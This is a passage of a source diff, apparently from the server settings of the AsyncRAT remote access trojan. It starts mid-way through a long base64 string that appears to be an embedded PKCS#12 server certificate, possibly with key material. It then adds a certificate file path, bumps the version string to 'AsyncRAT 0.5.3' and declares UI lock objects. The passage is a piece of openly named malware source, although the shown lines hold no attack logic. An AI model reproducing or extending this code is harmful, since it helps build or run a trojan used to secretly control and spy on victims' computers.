tpL/vV1nvT4anIiEA7efoR957m8g/ZdaPUr49qBpYE6wwONXsz3AQmmOVrbTumpU42KabeW2gfTqNcaoZCqsHt/GxgcHmrymwzS3lKq4iJCQZOURi+f8cBCGjkRYQ1fl73csOvbZ6pn8xEKEEBB07yo68b3KzVF59ZytlEyek2iuYkH5wSBX1xgW0zGCAQMwEwYJKoZIhvcNAQkVMQYEBAEAAAAwcQYJKoZIhvcNAQkUMWQeYgBCAG8AdQBuAGMAeQBDAGEAcwB0AGwAZQAtAGMAZQAwADEAMAA0AGYAMQAtAGQAYQBlAGYALQA0ADEANQA1AC0AOQAzADYAZAAtAGMAZgBiADEANwA1ADkANAA5AGMANAAwMHkGCSsGAQQBgjcRATFsHmoATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByMIIFhwYJKoZIhvcNAQcGoIIFeDCCBXQCAQAwggVtBgkqhkiG9w0BBwEwHAYKKoZIhvcNAQwBBjAOBAhwbMaeShbIfQICB9CAggVAGoradHS8q/EHh/Wkcjk3z3sm7ayCC6R0VwQL7iHV00lAz2qtcEWbgxUMXwYNztfK8dzimOIprSl2sQdA1ri+TCPeKKWxarLneon7VF/gR2+2mqu50cBtcsRSO6vBlkUOHqIvxKCaLdPlzV+iHfOFBka+wfiXa2pUujvtPC5JnInSAOnD3aF4AZ33ZG0Lv3Kr+jDj6WfaNvwL5Arw80EuS9rlGxX4iSE91gXxf0a9l61tViL4svgYjlG/1W3HP1qVeAwLbzrI5GVRiRc3Q708/VAlp3+DILD1h9XhLORR4Nt5LZCuqx4hi5wglpg0asQIqeDnrjcDzlna5YupR7zdhgdHaK4PNXhpjxtjpFm529lg0o6N1Q1So/uYBvvV1XY7d8fs5IMHU5RUpyy+Eki3ffHn6vB2bLj8QNy6fMb8Ti9NGz1eGI38Hduq8z9+HbVjJjiA4pubXW9QIh7DBRCvrY6QAzZwRjHHwwzSU8exG+vILM13puENv8+gY2uippZvedZEdwgEAiW2oaqawQd20motxzkWSzJghFeu9k0DD/2u0DPqwkGU6WwxcWB0N1BIbaiMb2qoyUYa1ZYIxjfCaJWnSBwGg9CpYw9SC6fWTI0acIYNpsDoRsMwtX7F1vQUrxcPemOPXmiJuW6MqgNr2voU3e8hiB8LJfSQ241Fwtfz73mhGCxr7d7Nx/ZffEkmP5+W+x0g5JbFtJmiAqZIu4XnMvedPrRXDaYsrRmXNLsW/3jmaSdi04qvJ9qPUaCinItw71UsHn8xPVYgUaaxbNTQMXiX/yyqI++is/Mz2CZ/9oAzByJsqV7/nSiPDIIu5VJ7wQZzOWmT5LFQP35/IqePhGxsJ+jhVAbSEWE72rGLVwYLIgPFY82MmzInCPjFcetfNdPKXnEAfoeDZYkbRKdQfURDVhzfgQvhgSP0IIIDwUXk3YuJQaZ23lpHR4iELA5bGHSLDH/8Yv3LeDomPzEXPknAg5KneBbN7nZKvnVZWTmuHLiPjfIjgLex84aQ3vS7LfFPRSruKe8IrRrx6FVPqECdVbREiatWEoNIrBl7D1OF2HFAdbyeYtEjUWguNxeA432Ikd2SxUwiOzUFTeiYhOPjmiOAxp/SzQjDo9IpVQp0MSgEPJYe1VruYi6Z7l68N8uPWgepJCLuKxmfoLfZoBPw6VaWSIjna76aFRqvawSGPMtF20WptQOXg6d+WxWDoUP6jPBwCNZ2dmryc2v0xdD//H8f3pnLLxTNjANC6nzp1B2MBDAHmXcGu+nASSiXQL0Xupy1+nkMjywIs40eXPfaXxg0fV0Zxg+/egtEWnVjOLimGYmcjLC/m51YActKFSImSpqlV8bKQBBumlr0ik3v2WC3geAIIj7BkBTaFKdVUL191WtngNBydQ62A58Uq5h6dpZCn+m6ywLg0qnhW3OgXILzKutdOOvpFcsQUWA84hSayKgacgygLszFooJ/Ls+WagZgPwlboXNCjhqCML5dNK6kdmFx9n+/zVZPZ+xGl9ow/45NX6JSsLOTdrwRvXm/SjAQ64An/0D0EjHO5NDDH0gjxlkUYrIr3Gt+PBhOsZWE97r1Cyl0v64nng+ku7NY0PAcLKEDnjcTTmN77TM3y1ojQLQxV8aPrBHg2WJ2yR/JocGCol8ztN3i/oNbb3vJDSJPsYoIxNswYX/OQAlGpEZmKsbujke7WD8SsfB4eDRIZ6oHEJphzHmVSf09lCJcBqRiptzbdZUlaYOVZgNAy5SZLkAkiZyLgdlUQSftAb6SadPY59pGkfXSMDcwHzAHBgUrDgMCGgQU/uGrOJgcbEzkykKZSaZFZLes3CIEFCMLzKDRACtkBrdOt1W72gjBqHGv"; +#else + public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; +#endif public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.2"; + public static readonly string Version = "AsyncRAT 0.5.3"; public static object Listview1Lock = new object(); public static object Listview2Lock = new object(); public static object Listview3Lock = new object();